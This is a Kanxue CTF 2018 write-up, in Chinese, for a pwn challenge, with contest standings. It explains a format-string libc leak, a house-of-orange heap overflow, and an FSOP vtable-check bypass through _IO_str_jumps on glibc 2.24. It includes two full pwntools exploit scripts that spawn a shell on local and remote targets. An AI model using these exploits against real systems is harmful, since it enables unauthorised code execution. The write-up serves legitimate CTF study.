看雪CTF.TSRC 2018 团队赛 第十四题『 你眼中的世界』 解题思路
第十四题《你眼中的世界》在今天（12月29日）中午12:00 结束攻击！共计十支团队攻破此题！其中，111new111 以 4454s 的成绩成为本题第一名！
本题结束后，防守团队排行榜如下：
最新赛况战况一览
第十四题之后，攻击方最新排名情况如下：
中午放题搬砖狗哭哭继续位列排行榜首席之位， tekkens保持第二名的成绩， n0body 和 fade-vivi强势进入Top 10！
倒数第二题结束后，已经刷新了Top 10 的候选人，那么最后一题决胜局是否会有其他惊喜呢？拭目以待！
crownless：
“你眼中的世界”是一道pwn题，而不是本次看雪CTF中多见的逆向题，体现了命题的多样性。程序功能很简单，会造成堆溢出，利用起来却比较复杂。
出题团队：ivanChen之队
由看雪论坛 ivanChen 原创
echo from your heart
# **[Principle]**
format string,house of orange
# **[Purpose]**
Master the general process of PWN topics
# **[Environment]**
Ubuntu16.04
# **[Tools]**
gdb、objdump、python、pwntools
# **[Process]**程序漏洞：
1. 格式化字符串漏洞
64位格式化字符串，开了FORTIFY_SOURCE机制，有几个特性：
1）包含%n的格式化字符串不能位于程序内存中的可写地址。
2）当使用位置参数时，必须使用范围内的所有参数。所以如果要使用%7$x，你必须同时使用1,2,3,4,5和6。
2. 堆溢出(house of orange)
gets这里可以无限写入直到\n为止，所以通过这个漏洞可以修改top_chunk，可以使用house of orange。
利用思路：
Libc-2.24中加入新的检验机制
***
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
***所以不能通过之前的house of orange 思路getshell。
bypass the _IO_vtable_check：
利用是在_IO_list_all中的chain字段，伪造一个file结构体，然后修改chain为这个结构体的地址。之后在调用IO_flush_all_lockp函数的时候，这个结构体就会被调用。但是因为check了vtables，所以不能够任意提供一个伪造的vtable的地址，但是可以使用io_str_jumps 这个vtable。
完整绕过思路如下：
首先通过unsortedbin attack 改写_IO_list_all，使指针指向main_arena。在拆卸unsort_bin时候对属于small_bin的chunk进行了记录操作，覆盖smallbin偏移为0x60的位置，并且此位置正好为_IO_FILE 中_chain字段 在构造Fake_file结构时，将_IO_str_jumps-0x8位置填入vtable。这样可以当调用overflow时，调用_IO_str_finish。可以通过_IO_str_finish最终执行(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)。
The full script is as follows.
exp.py
# -*- coding: utf-8 -*-
#!/usr/bin/env python2
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = True
if LOCAL:
p = process(['./echo_from_your_heart'],env={"LD_PRELOAD":"./libc-2.24.so"})
libc = ELF("./libc-2.24.so")
else:
p = remote('192.168.1.107',1337)
libc = ELF("./libc-2.24.so")
def printf(size,string):
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(string)
def main():
#leak_libc
payload = 7*"%p"+'aaa'+"%p "
printf(len(payload),payload)
p.recvuntil("aaa")
leak = p.recvuntil(" ")[:-1]
leak_addr = int(leak,16)
libc_base = leak_addr - (libc.symbols['__libc_start_main'] + 241) #2.23 240 2.24 241
io_list_all = libc_base + libc.symbols['_IO_list_all']
sys_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + next(libc.search('/bin/sh\x00'))
log.info("libc_base: {}".format(hex(libc_base)))
log.info("io_list_all: {}".format(hex(io_list_all)))
log.info("sys_addr: {}".format(hex(sys_addr)))
log.info("bin_addr: {}".format(hex(bin_addr)))
#overwrite topchunk
printf(0x80,'a'*0x80+p64(0)+p64(0xf51))
#trigger topchunk -> unsortedbin
printf(0x1000,'b'*0x80)
#vtable_addr = libc_base + 0x3be4c0 #_IO_str_jumps 2.24
vtable_addr = libc_base+libc.symbols['_IO_str_jumps']
chunk = p64(0) + p64(0x61) + p64(0) + p64(io_list_all-0x10)
chunk += p64(2) + p64(3) + p64(0) + p64(bin_addr)
chunk = chunk.ljust(0xd0,'\x00')
chunk += p64(0)
chunk += p64(vtable_addr-8)
chunk = chunk.ljust(0xe8,'\x00')
payload = chunk + p64(sys_addr)
printf(0x80,'c'*0x80+payload)
p.sendline("1")
p.interactive()
if __name__ == '__main__':
main()原文链接：
https://bbs.pediy.com/thread-227074.htm
本题解析由看雪论坛 会飞的鱼油 原创。
程序功能分析
程序功能很简单，循环5次，通过sub_AF0函数获取输入的长度，然后分配相应大小的堆保存输入的word，最后输出。
使用shecksec查看有以下保护：
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled漏洞分析
获取word的输入没有长度检查，可以造成堆溢出。word的输出会造成格式化字符串漏洞。
漏洞利用原理
1、通过格式化字符串漏洞泄漏出保存在栈中返回到__libc_start_main中的地址，从而可以计算出libc的基址。
2、利用堆溢出修改 top chunk 的大小，当不满足 malloc 的分配需求时，会通过sysmalloc 来向系统申请更多的空间 。对于堆来说有 mmap 和 brk 两种分配方式，我们需要让堆以 brk 的形式拓展，申请的大小不能超过默认的阈值也就是128k ，原有的top chunk就会被置于unsorted bin中 。top chunk的大小也会有合法性检测，检查如下：
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));所以伪造的大小必须要对齐到内存页， 大于 MINSIZE(0x10)， 小于之后申请的堆块 且size 的 prev inuse 位必须为 1。
3、 利用FSOP （File Stream Oriented Programming）原理以及house of orange原理控制程序流程。 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构，称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建，并分配在堆中。FILE结构的定义如下：
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _blksize;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
};进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表，链表头部用libc中的全局变量_IO_list_all 表示，通过这个值我们可以遍历所有的 FILE 结构。需要注意的是 stdin、stdout、stderr 这三个文件流位于 libc的数据段中。但是事实上_IO_FILE 结构位于另一种结构_IO_FILE_plus中， _IO_FILE_plus的定义如下：
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}其中包含了一个重要的指针 vtable，它指向了一系列函数指针, 标准 IO 函数中会调用这些函数指针 。
gdb-peda$ p _IO_file_jumps
$1 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7a8ed20 <_IO_new_file_finish>,
__overflow = 0x7ffff7a8f700 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a8f4b0 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a90560 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a91700 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a8e5a0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a8e2b0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a8d8e0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a90ad0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a8d850 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a8d780 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a829b0 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a8e580 <__GI__IO_file_read>,
__write = 0x7ffff7a8df70 <_IO_new_file_write>,
__seek = 0x7ffff7a8dd70 <__GI__IO_file_seek>,
__close = 0x7ffff7a8d840 <__GI__IO_file_close>,
__stat = 0x7ffff7a8df60 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a91860 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a91870 <_IO_default_imbue>
}因此直接改写 vtable 中的函数指针或者是覆盖 vtable 的指针指向我们控制的内存，然后在其中布置函数指针就可以劫持程序流程 。该程序可以覆盖unsorted bin空闲块，修改bk指向_IO_list_all-0x10，同时布置fake file struct，然后分配堆块，触发unsorted bin attack 修改_IO_list_all指向main_arena+88，因为_chain域在_IO_list_all + 0x68的位置 ，也就是 main_arena + 88 + 0x68-->small bin中大小为0x60的位置，所以需要修改其大小为0x60 ，之后修改过的unsorted bin 会被放入 small bin [4]中，这样就可以伪造一个FILE结构，继续遍历unsorted bin会触发异常，调用malloc_printerr。调用栈如下：
malloc_printerr
_libc_message(error msg)
abort
_IO_flush_all_lockp -> JUMP_FILE(_IO_OVERFLOW)_IO_flush_all_lockp函数会刷新_IO_list_all 链表中所有项的文件流，相当于对每个 FILE 调用 fflush，也对应着会调用_IO_FILE_plus.vtable 中的 _IO_OVERFLOW 。控制 _IO_OVERFLOW 函数便就可以拿到shell。 libc2.24版本的_IO_flush_all_lockp定义如下：
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//合法性检查
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}所以伪造的结构体要满足(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)或者 (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) )。在 libc2.23 版本中可以直接修改伪造的vtable, 使得_IO_OVERFLOW=system_addr 。kkhaike大佬说该程序无法泄漏出堆顶地址 ，所以采用绕过libc2.24检查机制的方法来获取shell。libc2.24版本多了一个vtable合理性的检查机制，检查如下：
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}可以使用__IO_str_jumps和__IO_wstr_jumps进行绕过， 使用__IO_str_jumps 更为简单，如何定位 __IO_str_jumps 参考这篇文章。 __IO_str_jumps 定义如下：
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};可以利用其中的 _IO_str_finsh和_IO_str_overflow这两个函数的strops.c定义如下：
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h]
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
...
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//调用 ((char*)fp + 0xE0))(2 * v6 + 100)，v6=fp->_IO_buf_end - fp->_IO_buf_base
...
}
}
...
}因为调用(char*)fp+0xE8和(char*)fp + 0xE0，所以可以把这部分设置成system的地址。
EXP
exp是参考的这篇文章
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.25_pwn_hctf2017_babyprintf.md
from pwn import *
#context.log_level = 'debug'
io = remote("211.159.175.39", 8686)
libc = ELF('libc.2.23.so')
def prf(size, s):
io.sendlineafter(" word: ", str(size))
io.sendlineafter("word: ", s)
def overwrite_top():
payload = "A" * 16
payload += p64(0) + p64(0xfe1) # top chunk header
prf(0x10, payload)
def leak_libc():
global libc_base
prf(0x1000, '%p%p%p%p%p%p%p%pA')
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 240 #241
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info("libc_base address: 0x%x" % libc_base)
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
vtable_addr = libc_base + 0x3C37A0 #0x3be4c0 # _IO_str_jumps
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("vtable address: 0x%x" % vtable_addr)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(1) # fp->_IO_write_ptr
#stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0)# *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64(bin_sh_addr)
stream += p64(0)#(bin_sh_addr - 100) / 2) # fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(vtable_addr - 8) # _IO_FILE_plus->vtable
payload += p64(0)
payload += p64(system_addr)
prf(0x10, payload)
def house_of_orange_():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
vtable_addr = libc_base + 0x3C37A0 # _IO_str_jumps
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("vtable address: 0x%x" % vtable_addr)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
payload += p64(system_addr)
prf(0x10, payload)
def pwn():
io.sendlineafter(" word: ", "0")
#io.sendline("0") # abort routine
io.interactive()
if __name__ == '__main__':
overwrite_top()
leak_libc()
house_of_orange()
pwn()house_of_orange函数利用的是_IO_str_finsh，
house_of_orange _函数利用的是_IO_str_overflow 。但是使用_IO_str_overflow并不成功，不知道是不是因为bin_sh_addr的地址是奇数的原因 。最后使用house_of_orange获得shell。
参考链接
https://xz.aliyun.com/t/2411
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fake-vtable-exploit/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fsop/
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.25_pwn_hctf2017_babyprintf.md
https://www.jianshu.com/p/1e45b785efc1
原文链接：
https://bbs.pediy.com/thread-248698.htm
第十五题【密码风云】正在火热进行中
第15题/共15题
《密码风云》将于 12月31 日中午 12:00 结束
赶紧参与进来吧~！
热门图书推荐：
合作伙伴
腾讯安全应急响应中心
TSRC，腾讯安全的先头兵，肩负腾讯公司安全漏洞、黑客入侵的发现和处理工作。这是个没有硝烟的战场，我们与两万多名安全专家并肩而行，捍卫全球亿万用户的信息、财产安全。一直以来，我们怀揣感恩之心，努力构建开放的TSRC交流平台，回馈安全社区。未来，我们将继续携手安全行业精英，探索互联网安全新方向，建设互联网生态安全，共铸“互联网+”新时代。
- End -
公众号ID：ikanxue
官方微博：看雪安全
商务合作：wsc@kanxue.com